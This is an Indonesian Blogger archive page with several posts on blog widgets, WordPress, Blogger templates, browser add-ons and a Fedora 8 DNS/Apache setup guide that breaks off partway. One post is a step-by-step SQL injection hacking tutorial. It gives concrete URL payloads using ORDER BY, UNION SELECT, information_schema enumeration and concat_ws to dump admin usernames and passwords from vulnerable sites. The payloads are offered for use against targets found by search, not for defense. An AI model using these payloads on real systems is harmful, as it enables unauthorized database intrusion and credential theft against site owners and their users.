Tampilkan postingan dengan label Web dan Blog. Tampilkan semua postingan
Tampilkan postingan dengan label Web dan Blog. Tampilkan semua postingan

Minggu, 28 Juli 2013

Cara Membuat Tombol Back To Top pada Blog


Back To TopSelamat sore agan-agan semuanya yang lagi online dan menunggu pembahasan lain dari blog ini,oke..Sebelum kita melangkah ke cara membuat tombol back to top pada blog kita harus mengetahui apa fungsi dari rombol tersebut. Fungsi dari tombol Back To Top adalah untuk scroll otomatis ke atas supaya pengunjung blog/website tidak kerepotan ketika ingin menyecroll ke atas. Nah, tombol ini cocok untuk blog/website yang postingan artikelnya terlalu panjang. Trus bagaimana cara membuatnya mas?? Jawab : Mudah kok. Perhatikan tutorial dibawah ini.
  • Login Blogger
  • Masuk ke Tata Letak >> Tambah Gadget >> HTML Javascript
  • Copy kode dibawah ini
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" >
var scrolltotop={
//startline: Integer. Number of pixels from top of doc scrollbar is scrolled before showing control
//scrollto: Keyword (Integer, or "Scroll_to_Element_ID"). How far to scroll document up when control is clicked on (0=top).
setting: {startline:100, scrollto: 0, scrollduration:1000, fadeduration:[500, 100]},
controlHTML: '<img src="URL Gambar" />', //HTML for control, which is auto wrapped in DIV w/ ID="topcontrol"
controlattrs: {offsetx:5, offsety:5}, //jarak ke kanan / bawah
anchorkeyword: '#top', //Enter href value of HTML anchors on the page that should also act as "Scroll Up" links
state: {isvisible:false, shouldvisible:false},
scrollup:function(){
if (!this.cssfixedsupport) //if control is positioned using JavaScript
this.$control.css({opacity:0}) //hide control immediately after clicking it
var dest=isNaN(this.setting.scrollto)? this.setting.scrollto : parseInt(this.setting.scrollto)
if (typeof dest=="string" && jQuery('#'+dest).length==1) //check element set by string exists
dest=jQuery('#'+dest).offset().top
else
dest=0
this.$body.animate({scrollTop: dest}, this.setting.scrollduration);
},
keepfixed:function(){
var $window=jQuery(window)
var controlx=$window.scrollLeft() + $window.width() - this.$control.width() - this.controlattrs.offsetx
var controly=$window.scrollTop() + $window.height() - this.$control.height() - this.controlattrs.offsety
this.$control.css({left:controlx+'px', top:controly+'px'})
},
togglecontrol:function(){
var scrolltop=jQuery(window).scrollTop()
if (!this.cssfixedsupport)
this.keepfixed()
this.state.shouldvisible=(scrolltop>=this.setting.startline)? true : false
if (this.state.shouldvisible && !this.state.isvisible){
this.$control.stop().animate({opacity:1}, this.setting.fadeduration[0])
this.state.isvisible=true
}
else if (this.state.shouldvisible==false && this.state.isvisible){
this.$control.stop().animate({opacity:0}, this.setting.fadeduration[1])
this.state.isvisible=false
}
},
init:function(){
jQuery(document).ready(function($){
var mainobj=scrolltotop
var iebrws=document.all
mainobj.cssfixedsupport=!iebrws || iebrws && document.compatMode=="CSS1Compat" && window.XMLHttpRequest //not IE or IE7+ browsers in standards mode
mainobj.$body=(window.opera)? (document.compatMode=="CSS1Compat"? $('html') : $('body')) : $('html,body')
mainobj.$control=$('<div id="topcontrol">'+mainobj.controlHTML+'</div>')
.css({position:mainobj.cssfixedsupport? 'fixed' : 'absolute', bottom:mainobj.controlattrs.offsety, right:mainobj.controlattrs.offsetx, opacity:0, cursor:'pointer'})
.attr({title:'Kembali ke Atas'})
.click(function(){mainobj.scrollup(); return false})
.appendTo('body')
if (document.all && !window.XMLHttpRequest && mainobj.$control.text()!='') //loose check for IE6 and below, plus whether control contains any text
mainobj.$control.css({width:mainobj.$control.width()}) //IE6- seems to require an explicit width on a DIV containing text
mainobj.togglecontrol()
$('a[href="' + mainobj.anchorkeyword +'"]').click(function(){
mainobj.scrollup()
return false
})
$(window).bind('scroll resize', function(e){
mainobj.togglecontrol()
})
})
}
}
scrolltotop.init()
</script>
  • Pastekan pada kotak yang telah tersedia
  • Simpan/Save
  Sekian dulu tutorial dari saya.Semoga bermanfaat dan berguna buat temen-temen dumay semuanya..bila ada kesalahan dan kekurangan dalam penulisan maka saya ucapkan banyak-banyak mohon maaf!!!
Selamat Mencoba :d




By@Si OTAK MATI

Jumat, 26 Juli 2013

Cara Hacking Website dengan Teknik SQL Injection

Pagi semua temen-temen di dumay!!!semga di pagi hari ini kita di beri kesehatan untuk selalu bisa beraktifitas seperti biasanya.amin!!!oke..di pagi hari ini saya akan membahas dan mempostingkan bagaimana cara membobol/Hacking Website dengan Teknik SQL Injection. Sebelum kita membahas masalah ini mari kita mengenal apa itu SQL Injection,apa difinisinya dan apa kegunaannya!!!SQL Injection Sering digunakan untuk menjebol atau merusak database suatu website atau blog.
Pengertian Dari SQL Injection Atau Injeksi SQL - Injeksi SQL atau SQL Injection (Dalam bahasa inggris) adalah sebuah teknik dimana dengan menggunakan/menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi/web server. Celah ini terjadi ketika login/masukan pengguna.
Tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah suatu contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip(Script) diimbuhkan/dimasukan di dalam bahasa yang lain.
(Source Wikipedia)
SQL Injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang/attacker bisa mendapatkan akses ke basis data di dalam sistem(Sistem Utama). SQL injection yaitu serangan yang mirip dengan serangan XSS dalam arti bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.
SQL Injection atau Injeksi SQL exploits dan sejenisnya adalah hasil interfacing sebuah bahasa lewat informasi melalui bahasa lain . Dalam hal SQL injection, sebuah bahasa pemrograman seperti PHP atau Perl mengakses database melalui SQL query. Jika data yang diterima dari pengguna akhir yang dikirim langsung ke database dan tidak disaring dengan benar, maka yang penyerang dapat menyisipkan perintah SQL nya sebagai bagian dari input.
(de-kill.blogspot.com)
Lebih singkatnya
 SQL Injection adalah salah satu teknik yang sering di gunakan untuk menyerang sebuah situs web. dengan cara ini memungkinkan seseorang dapat login tanpa harus memiliki akun di sebuah web site Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database bahkan pula dapat mematikannya.
 oke sekarang teman-teman dumay udah paham dan mengerti apa itu SQL Injection ada apa kegunaannya.sekarang kita beralih ke topik pembahasan sebelumnya yaitu mengenaik Bagaimana cara Hacking Website dengan Teknik SQL Injaction Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x

[ Step 1 ]
Carilah target
Misal: site:/berita.php?id=1

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
site:/berita.php?id=1' atau
site:/berita.php?id=-1

[ Step 2 ]
Mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah: order by

Contoh:

site:/berita.php?id=-1+order+by+1-- atau
site:/berita.php?id=-1+order+by+1/*

teliti secara step by step (satupersatu)...
Misal:

site:/berita.php?id=-1+order+by+1--
site:/berita.php?id=-1+order+by+2--
site:/berita.php?id=-1+order+by+3--
site:/berita.php?id=-1+order+by+4--

Sehingga muncul error atau hilang pesan error...
Misal: site:berita.php?id=-1+order+by+9--

Berarti yang kita ambil adalah sampai angka 8
Menjadi site:/berita.php?id=-1+order+by+8--
[ Step 3 ]
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: site:/berita.php?id=-1+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: site:/berita.php?id=-1+union+select+1,2,3,4,version(),6,7,8-- atau
site:/berita.php?id=-1+union+select+1,2,3,4,@@version,6,7,8--

Lihat versi yang digunakan se'umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..
[ Step 4 ]
Untuk menampilkan table yang ada pada web tersebut adalah
perintah table_name >>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

Code:

site:/berita.php?id=-1+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

Se'umpama table yang muncul adalah "admin"
[ Step 5 ]
untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

site:/berita.php?id=-1+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. ?tables+where+table_schema=database()--
[ Step 6 ]
Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

site:/berita.php?id=-1+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema ?.columns+where+table_name=0xhexa--

Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :

http://www.v3n0m.net/ascii.htm

Contoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E

site:/berita.php?id=-1+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema ?.columns+where+table_name=0x61646D696E--
[ Step 7 ]
Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Contoh :

site:/berita.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

Contoh kata yang keluar adalah id,username,password

Contoh : site:/berita.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--

[ Step 8 ]

Tahap terakhir mencari halaman admin atau login.


  sampai pada tahap terakahir ini pembahasan tentang Sql Injaction,mungkin bila temen-temen kurang begitu jelas silahkan belajar sendiri atau silahkan mencari buku/browser tentang sql injection ini. kita sama-sama belajar bila ada kesalahan dalam tulisan dan cara pembahasaan maka saya minta maaf dan semoga pembahasan ini bermanfaat buat saya dan temen-temen di dumay smuanya!!!amiiii.....



By@Si OTAK MATI

Jumat, 10 Agustus 2012

Membuat WordPress 2.7 beta 2


Walau bukan pengguna fanatik Wordpress, tidak ada salahnya saya juga mencoba menjajal versi teranyar WordPress 2.7 beta 2. Karena disinyalir merupakan versi perbaikan dari versi sebelumnya WordPress 2.6, versi terbaru kali ini bisa dikatakan relatif lebih stabil.


Ada beberapa perubahan yang menurut saya sangat berbeda, terutama pada area administrasi. Wordpress 2.7 beta 2 memiliki antarmuka yang sangat hemat pada tata ruang, karena sejumlah item dikelompokan bersama dan dapat tutup kembali dengan melipat sidebar, ini juga sangat memungkinkan kita menyesuaikan tampilan dengan cara melakukan drag & drop pada widgets yang ada.


Kelebihan lainnya, kita dapat mencari dan memasang plugin langsung dari halaman administrasi dan tidak perlu lagi menggunakan cara manual dengan mendownloadnya kemudian upload kembali server untuk mengaktifkannya. jadi lebih simple ya :)


Silahkan Download WordPress 2.7 beta 2




By@Si OTAK MATI

Jumat, 27 Juli 2012

Membuat Templates Mudah Dengan Templates Designer

Salah satu fitur terbaru blogger adalah Templates Designer. Dengan fitur ini memungkinkan kita dalam membuat/memodifikasi templates. Dengan fitur ini anda bisa mengatur tata letak/layout blog anda dengan mudah, mengganti design blog anda, dll. Oke tidak usah panjang lebar, mari kita bahas fitur terbaru ini satu per satu :

1. Silahkan Log in ke blog anda > Design > Templates Designer
2. Jika Sudah, mari kita bahas satu per satu fitur dan fungsinya



Templates :
 Di sini anda bisa memilih templates sesuai keinginan anda. Ada 6 templates tersedia dan di setiap templates masih terbagi beberapa model lagi. Untuk contoh saya akan menggunakan templates Picture Windows


Background : Setelah anda memilih templates, anda dapat memilih background sesuai keinginan. Klik Background Image untuk memilih background. Ada 19 tema background, dan di setiap tema terdapat banyak background yang bisa anda pilih.


Ini adalah tampilan yang akan muncul saat anda mengklik Background Image
Layout : Layout terbagi menjadi 3, dan yang ini adalah body layout. Body Layout ini berfungsi untuk mengatur tata letak blog anda di bagian sidebar dan posting. Dengan ini anda dapat mengatur model sidebar dengan mudah.
Layout bagian ini adalah footer layout. Di sini anda dapat mengatur jumlah dan model footer dengan mudah. Misalnya anda ingin membuat footer anda 1 kolom, 2 kolom, atau 3 kolom sekalipun.
Layout ke tiga adalah adjust width. Di sini anda dengan mudah dapat mengatur lebar blog anda secara keseluruhan dan lebar sidebar juga.
Advanced : Di sini anda dapat mengatur segalanya seperti model text, warna text, penambahan CSS, dan lain-lain. Daftar Advanced berbeda-beda sesuai templates yang anda pilih tadi. Karena saya memilih model Picture Windows saya akan membahas Advanced ini saja.


  1. Page Text : Berfungsi untuk mengatur jenis font, warna text, ukuran, dan juga model seperti bold italic
  2. Backgrounds : Berfungsi untuk mengatur warna background di bagian outer, header, dan post.
  3. Links : Berfungsi untuk mengatur warna link. Link Color adalah warna link sebelum di klik, Visited Color warna link setelah/sudah pernah di klik, Hover Color warna link saat di sentuh mouse.
  4. Blog Title : Untuk mengatur jenis, ukuran, model, dan warna font judul blog (header)
  5. Tabs Text : Beberapa dari anda mengukin belum tau tabs text. Tabs Text adalah gadget yang terletak di antara header dan isi blog. Ini berfungsi untuk mengatur jenis, ukuran, model, dan warna font pada tabs.
  6. Tabs Background : Untuk mengatur background tabs. Background Color untuk background gadget. Selected Color ini berfungsi untuk mengatur warna background tabs yang sedang di pilih. Maksudnya yang di pilih adalah jika anda menggunakan Pages blogger dan di letakan di bagian tabs.
  7. Post : Title Font untuk mengatur font judul post. Footer Text untuk mengatur warna pada bagian footer post/bawah post. Border Color untuk mengatur warna garis tepi post.
  8. Gadgets : Title Font untuk mengatur jenis font pada judul sidebar/gadget. Title Color untuk mengatur warna judul sidebar/gadget
  9. Footer : Text Color untuk mengatur warna text di bagian footer. Gadget Title Color untuk mengatur warna pada judul gadget di bagian footer
  10. Footer Link : sama dengan link, hanya yang ini untuk mengatur link bagian footer saja.
  11. Add CSS : Ini berguna jika anda ingin menambah, menghapus, dan memodifikasi CSS pada templates anda
3. Jika Sudah selesai dengan modifikasi templatesnya, Silahkan kilik APPLY TO BLOG untuk savenya

Sekian untuk hari ini, semoga bisa bermanfaat untuk para pembaca. Terima Kasih






By@Si OTAK MATI

Sabtu, 21 Juli 2012

Melihat Semua Informasi Situs/Blog via DataOpedia


DataOpedia merupakan layanan web yang memberikan informasi terlengkap dan paling komprehensif mengenai informasi sebuah blog/situs. Layanan yang baru dilaunching pada bulan desember 2008 ini memungkinkan kita untuk melihat berbagai informasi dan fakta penting tentang apapun yang sekiranya berharga pada blog/situs yang ingin dilacak semua informasinya, seperti Trafik, PagerRank, Online buzz, informasi kontak dan populeritas situs tersebut pada layanan jaringan sosial. Singkatnya semua fakta-fakta penting dan informasi apapun pada situs/blog bisa anda lihat melalui layanan DataOpedia.


Data Opedia saat ini memiliki 50 sumber informasi yang di kumpulkan menjadi satu dan disusun sebagai one-stop-resource untuk memudahkan anda melihat informasi yang ada. Selain dapat diakses melalui situs web, anda juga dapat mengakses layanan ini melaluibeberapa media diantaranya Email, Twitter, Cell phone, type-in dan Firefox Add-ons. Tidak hanya itu saja, jika memang diperlukan, kita dapat juga memasang widged pencarian dan badge yang menampilkan semua informasi situs di blog anda. Pastikan sebelum memasangnya anda sudah terdaftar dan memiliki account dilayanan ini :)


Bugs: Setelah mencoba beberapa kali layanan DataOpedia, saya melihat ada sedikit kesalahan, dimana layanan ini tidak mampu menampilkan informasi URL blog/site yang menggunakan tanda penghubung "-" (contoh otak-mati.co.cc dan si-otak..co.cc), semoga saja kesalahan ini cepat diperbaiki :)



By@Si OTAK MATI

Melacak "Web Bugs" Pada Halaman Web Via Ghostery

Pemilik blog/site (admin) yang sudah berpengalaman biasanya selalu menyimpan rahasia tersembunyi dibalik halaman web mereka.  Rahasia ini selalu terkunci rapat tanpa satu orangpun yang mengetahuinya melaikan si admin itu sendiri. Banyak alasan kenapa admin melakukan hal ini. Salah satunya mungkin sebagai jebakan ke pada para pesaing yang biasanya hadir secara siluman tanpa ingin jejaknya diketahui atau ada juga pemilik yang tidak ingin menampilkan web counter jumlah pengunjungnya secara terang terangan. Anda pasti pernah melihat halaman web yang secara kasat mata tidak menampilkan item/widget sama sekali, tanpa anda sadari sebenarnya dibalik halaman tersebut tersimpan berbagai macam script, link, image atau layanan service lainnya yang memang sengaja disimpan dalam status hidden.


Salah satu alasan kenapa web admin secara sengaja memanamkan "Web bugs" pada Blog/Site-nya, kemungkinan besar hanya untuk keperluan keamanan saja. Karena tidak semua item yang diklasifikasikan sebagai web bug itu berbahaya khan? salah satu Web bug biasanya terdiri dari small image yang berukuran 1-by-1 pixel, kadang memang sengaja dibuat transparan layaknya warna background webWeb bugs bisa juga disebut clear gifsatau tracking pixel adalah cara lain untuk men-track aktivitas pengguna di internet, dan biasanya web bugs ini memang selalu disembunyikan.


Ghostery merupakan Add-ons Firefox yang memungkinkan anda untuk melacak halaman website/blog yang terdeteksi mengandung Web bugs. Ghostery saat ini mampu melacak 100 kemungkinan dari berbagai jenis web bug yang ada. Saat anda membuka halaman web yang terdeteksi mengandung web bug saat itulah plugin Ghostery melaporkan kepada anda dengan memberi peringatan ditandai dengan kemunculan jendela berwarna ungu yang isinya berupa daftar bug. 

Sebagai contoh, bila admin berusaha menyembunyikan hidden script seperti sitemeter, amazon, polldaddy, mybloglog dan berbagai jenis iklan yang tergabung dalam Doubleclick tetap dapat dilacak dengan mudah dan tentu anda dapat melihat informasi lain yang sekiranya disembunyikan. 


Sekali lagi saya terangkan tidak semua laporan yang ditampilkan merupakan daftar bug yang berbahaya. Karena tugas Ghostery disini hanya untuk mencari, melacaknya lalu menampilkan informasinya yang mungkin berguna buat pengunjung.

Contoh Web Bugs yang terdekteksi di blog o-om.com 



Untuk mempelajari lebih jauh mengenai apa itu web bugs, anda bisa mempelajarinya di alamat ini WEB BUGS



By@Si OTAK MATI

Membangung Bisnis Web dengan Proxy

Pemblokiran pada blogspot bener-benar membuat stress, sampai hari ini masih saja om terima laporan yang sama. kebanyakan yang memberikan laporan pengguna Speedy. Tips akses lewat bawah kolong jembatan yang om sampaikan ternyata tidak berpengaruh banyak, ini yang membuat mas iwan Free-7.net turun tangan dan memberikan beberapa alternatif Web Proxy tambahan untuk membuka situs yang diblokir dengan sangat kompleks.


Jika saya dan mas iwan memberikan alternatif web Proxy pilihan gratis, ini berbeda denganCosaaranda.com yang lebih memfocuskan web proxy ke arah bisnis, dimana bung Cosa mengajarkan kita untuk membangun Web proxy domain pilihan.. mungkin lebih tepat Web Proxy (Anonymous)Cara membangun Bisnis Web Proxy yang diusung bung Cosa sangat komplit dan terdiri dari beberapa tahapan yaitu Tahap PendahuluanPersiapan dan tahap promosi untuk selengkapnya bisa pelajari diblognya beliau. Yang jelas saya benar-benar kagum dengan sosok Cosa Aranda apapun masalahnya beliau pasti menemukan solusinya. Thanks info bisnis Proxy-nya bung Cosa .


Nah..dari pada menghabiskan waktu memikirkan masalah pemblokiran kenapa anda tidak mencoba membangun bisnis ini, selain bisa digunakan sendiri juga bermanfaat khan buat yang lain, saya rasa tidak ada salahnya anda untuk menjajalnya..sukses atau gagal itu mah soal nanti yang penting berani mencoba dan yang penting usaha.



By@Si OTAK MATI

virus blog menyerang kita



Virus blog yang saya maksud bukan menyebarkan keinginan blogging kepada orang lain. Virus disini juga bukan virus layaknya avian influenza yang bisa bikin KO penderitanya. Virus disini adalah virus yang dibawa oleh blog (halaman blog) berupa script-script yang sudah terjangkit virus atau terdefinisi sebagai virus oleh antivirus tertentu, yang dalam hal ini saya mendefinisikan antivirus yang saya maksud adalah Kaspersky Internet Security 2010 dengan virus definition update (database release) 24/01/2010 3:27:00.

Jika antivirus mendeteksi adanya virus saat kita membuka halaman blog (dan web statik juga berlaku) akan muncul notifikasi mengenai virus yang terdeteksi. Dalam hal ini yang dilakukan antivirus adalah memblokir script (hanya script), bukan memblokir halaman web yang kita buka.


Saya memperoleh notofikasi ini ketika saya mengunjungi blog seorang kawan blogger yang memang sudah saya masukkan dalam agregasi blog, maksudnya agar saya bisa selalu ikut tahu update terbaru-nya. Sudah beberapa hari memang blog itu masuk dalam agregasi. Tapi ketika saya berkunjung disambut warning dari antivirus di laptop saya.


Ah terpaksa deh saya hapus dari agregasi. Tetapi saya sudah mencoba memberi tahu empunya blog kok mengenai apa saja yang mengandung virus. Dan kalau saya lihat dari object yang terdeteksi sepertinya itu dari iklan-iklan yang terpasang pada blog.


Apa akibatnya?
  • Halaman web tidak akan tertampil sempurna (bahkan bisa diblokir).
  • Pengunjung enggan mengunjungi blog anda (makanya demi menjaga nama baik, blog yang saya maksud tidak saya cantumkan).
  • Merugikan pengunjung yang tidak tahu, jelas karena artinya komputer jadi ikut-ikutan kena virus. Artinya tentu saja anda jadi agen penyevar virus walau pastinya anda tidak sengaja.
Bagaimana mengatasinya?
  • Kalau itu dari iklan yang dipasang, lihat link yang menuju alamat script yang terdeteksi virus, hapus jika memang itu perlu dihapus
  • Kalau itu dari theme, silahkan buka entah itu PHP, CSS, HTML, JAVA dari file theme. Cari link menuju scritpt, kalau perlu hapus saja.
  • Kalau itu berasal dari plugins yang anda pasang dalam blog, deactive pluginsnya.
Preventif? Ada baiknya juga….
  • Jangan memasang iklan sembarangan, pastikan script-script yang dimasukkan dalam kode (HTML, CSS, PHP, JAVA) bersih, ada baiknya test terlebih dahulu dengan download semua script yang digunakan oleh iklan.
  • Teliti memasang theme, sebelum memasang theme ada baiknya dicoba di local computer.
  • Hati-hati pasang plugins, ada baiknya dicoba offline terlebih dahulu. Selain untukngindhik virus, mencoba secara offline juga berguna siapa tahhu dalam plugins ada eror, bisa-bisa web anda suspended (seperti pernah dialami portal-nya temenku).





By@Si OTAK MATI

Menjajal WordPress 2.7 beta 2


Walau bukan pengguna fanatik Wordpress, tidak ada salahnya saya juga mencoba menjajal versi teranyar WordPress 2.7 beta 2. Karena disinyalir merupakan versi perbaikan dari versi sebelumnya WordPress 2.6, versi terbaru kali ini bisa dikatakan relatif lebih stabil.


Ada beberapa perubahan yang menurut saya sangat berbeda, terutama pada area administrasi. Wordpress 2.7 beta 2 memiliki antarmuka yang sangat hemat pada tata ruang, karena sejumlah item dikelompokan bersama dan dapat tutup kembali dengan melipat sidebar, ini juga sangat memungkinkan kita menyesuaikan tampilan dengan cara melakukan drag & drop pada widgets yang ada.


Kelebihan lainnya, kita dapat mencari dan memasang plugin langsung dari halaman administrasi dan tidak perlu lagi menggunakan cara manual dengan mendownloadnya kemudian upload kembali server untuk mengaktifkannya. jadi lebih simple ya :)


Silahkan Download WordPress 2.7 beta 2



By@Si OTAK MATI

Senin, 16 Mei 2011

Membuat DNS Server, Web Server dan Database Server Menggunakan Linux Fedora 8

  walah udah lama kgk membuka blog ini,maklum sekarang udah kgk pegang internet sendiri jadi kalo mau ngenet ya harus di warnetan.Hemaaatttt beeebbzzzz!!! 


  Berikut ini tutorial yang saya dapatkan di kampus bagaimana cara membuat DNS,web dan database server dari linux Fedora 8,sebetulnya sih saya gak begitu bisa dengan pelajaran ini,mangkanya saya post dalam blog ini mungkin pembaca udah ada yang ahli jadi kan bisa melengkapi post skalian mengajari saya..hehehehehehe!!!ataupun pembaca yang belum mengerti jadi ngerti setelah membaca post ini!!!ok duech langsung ajach yach ke tutornya dibawah ini

DNS Server dan LAMP menggunakan Linux Fedora sebenarnya pernah saya tuliskan pada artikel saya yang terdahulu, tentang DNS Server Linux, Web Server Linux. Dengan tujuan membantu rekan-rekan yang baru saja beralih ke Linux dan kebetulan menggunakan Linux Fedora 8, ada baiknya saya menuliskan artikel ini. Panduan ini untuk kasus sebagai berikut:

  1. Membuat DNS server untuk domain linuxer.local
  2. Membuat DNS server virtual untuk domain fxekobudi.local, sarolangun.local
  3. Membuat Web server untuk domain linuxer.local, fxekobudi.local, dan sarolangun.local
  4. Membuat Database server menggunakan MySQL yang akan digunakan oleh aplikasi open source (WordPress, Joomla, dan Drupal) pembangun situs lokal pada domain yang telah saya sebutkan di atas.
Sebelum mulai melangkah ke konfigurasi DNS dan LAMP (Linux-Apache-PHP-MySQL), berikut ini adalah konfigurasi pada Laptop yang saya gunakan:
IP Loopback: 127.0.0.1
IP Address NIC: 192.168.0.44
Netmask: 255.255.255.192 (/26)
Paket BIND: bind-9.5.0-18.a7, bind-libs-9.5.0-18.a7, bind-utils-9.5.0-18.a7, bind-chroot-9.5.0-18.a7
Paket APACHE: httpd-2.2.6-3, httpd-tools-2.2.6-3, system-config-httpd-1.4.4-1, httpd-manual-2.2.6-3
Paket MySQL: mysql-libs-5.0.45-4.fc8, mysql-5.0.45-4.fc8, mysql-server-5.0.45-4.fc8
Paket PHP: php-common-5.2.4-3, php-5.2.4-3, php-gd-5.2.4-3, php-cli-5.2.4-3, php-mysql-5.2.4-3
Semua paket sudah disertakan dalam DVD Installer Fedora 8, jadi jika belum terinstal, silahkan instal dengan menggunakan media DVD atau bisa juga menggunakan repository Fedora 8. Untuk mengecek apakah sudah terinstal atau belum, gunakan command: $ rpm -qa | grep [nama-paket]
1. DNS SERVER
Instal paket:

# yum install bind bind-libs bind-utils bind-chroot
Tidak seperti pada fedora 7, Anda dapat menemukan named.conf setelah instalasi bind. Sehingga hanya perlu mengedit konfigurasinya saja.
# vim /var/named/chroot/etc/named.conf
options {
listen-on port 53 { 127.0.0.1; };
listen-on-v6 port 53 { ::1; };
directory “/var/named”;
dump-file “/var/named/data/cache_dump.db”;
statistics-file “/var/named/data/named_stats.txt”;
memstatistics-file “/var/named/data/named_mem_stats.txt”;
allow-query { localhost; };
recursion yes;
};
logging {
channel default_debug {
file “data/named.run”;
severity dynamic;
};
};
zone “.” IN {
type hint;
file “named.ca”;
};
include “/etc/named.rfc1912.zones”;
// ————-
// Resolve DNS
// ————-
zone “linuxer.local” IN {
type master;
file “./zone/linuxer.local.zone”;
allow-update { key “rndckey”; };
allow-transfer { 192.168.0/26; };
};
// ————-
// Reverse DNS
// ————-
zone “0.168.192.in-addr.arpa” IN {
type master;
file “./zone/0.168.192.in-addr.arpa.zone”;
allow-update { key “rndckey”; };
allow-transfer { 192.168.0/26; };
};
include “/etc/named.primary.conf”;
Isi file /var/named/chroot/var/named/zone/linuxer.local.zone:
$ttl 38400
@ IN SOA ns.linuxer.local. root.linuxer.local (
1196006770
10800
3600
604800
38400 )
IN NS fxekobudi.linuxer.local.
IN MX 20 mail.linuxer.local.
fxekobudi IN A 192.168.0.44
www IN CNAME fxekobudi
ftp IN CNAME fxekobudi
Isi file /var/named/chroot/var/named/zone/0.168.192.in-addr.arpa.zone:
$ttl 38400
@ IN SOA ns.linuxer.local. root.linuxer.local (
1196006769
10800
3600
604800
38400 )
IN NS fxekobudi.linuxer.local.
44 IN PTR fxekobudi.linuxer.local.
Konfigurasi untuk file /var/named/chroot/etc/named.primary.conf:
# vim /var/named/chroot/etc/named.primary.conf
// —————————-
// Virtual Domain fxekobudi.local
// —————————-
zone “fxekobudi.local” IN {
type master;
file “./zone/fxekobudi.local.zone”;
allow-update { key “rndckey”; };
allow-transfer { 192.168.0/26; };
};
// —————————-
// Virtual Domain sarolangun.local
// —————————-
zone “sarolangun.local” IN {
type master;
file “./zone/sarolangun.local.zone”;
allow-update { key “rndckey”; };
allow-transfer { 192.168.0/26; };
};
Isi file /var/named/chroot/var/named/zone/fxekobudi.local.zone:
$ttl 38400
@ IN SOA ns.linuxer.local. root.linuxer.local (
1196006770
10800
3600
604800
38400 )
IN NS fxekobudi.fxekobudi.local.
IN MX 20 mail.fxekobudi.local.
fxekobudi IN A 192.168.0.44
www IN CNAME fxekobudi
ftp IN CNAME fxekobudi
Isi file /var/named/chroot/var/named/zone/sarolangun.local.zone:
$ttl 38400
@ IN SOA ns.linuxer.local. root.linuxer.local (
1196006770
10800
3600
604800
38400 )
IN NS fxekobudi.sarolangun.local.
IN MX 20 mail.sarolangun.local.
fxekobudi IN A 192.168.0.44
www IN CNAME fxekobudi
ftp IN CNAME fxekobudi
Konfigurasi untuk file /etc/resolv.conf:
search linuxer.local
search fxekobudi.local
search sarolangun.local
nameserver 127.0.0.1
nameserver 192.168.0.44
Tes konfigurasi DNS server:
$ dig linuxer.local
$ nslookup www.linuxer.local
Jalankan daemon DNS server untuk runlevel yang diinginkan:
# /sbin/chkconfig –levels 235 named on
2. WEB SERVER
Instal paket:
# yum install httpd
Edit file konfigurasi apache:
# vim /etc/httpd/conf/httpd.conf
Berikut beberapa konfigurasi yang perlu Anda lakukan:
### Section 1: Global Environment
User apache
Group apache
### Section 2: ‘Main’ server configuration
DocumentRoot “/var/www/html”
<Directory “/var/www/html”>
DirectoryIndex index.html index.html.var index.php
### Section 3: Virtual Hosts
# Konfigurasi virtual host
Include ./conf/vhosts.conf
Buat file virtual host:
# vim /etc/httpd/conf/vhosts.conf
NameVirtualHost 192.168.0.44:80
<VirtualHost 192.168.0.44:80>
ServerAdmin admin@linuxer.local
DocumentRoot /var/www/html
ServerName linuxer.local
ServerAlias www.linuxer.local
ErrorLog logs/error_log
CustomLog logs/access_log combined
</VirtualHost>
<VirtualHost 192.168.0.44:80>
ServerAdmin admin@linuxer.local
DocumentRoot /var/www/html/fxekobudi
ServerName fxekobudi.local
ServerAlias www.fxekobudi.local
ErrorLog logs/fxekobudi.local-error_log
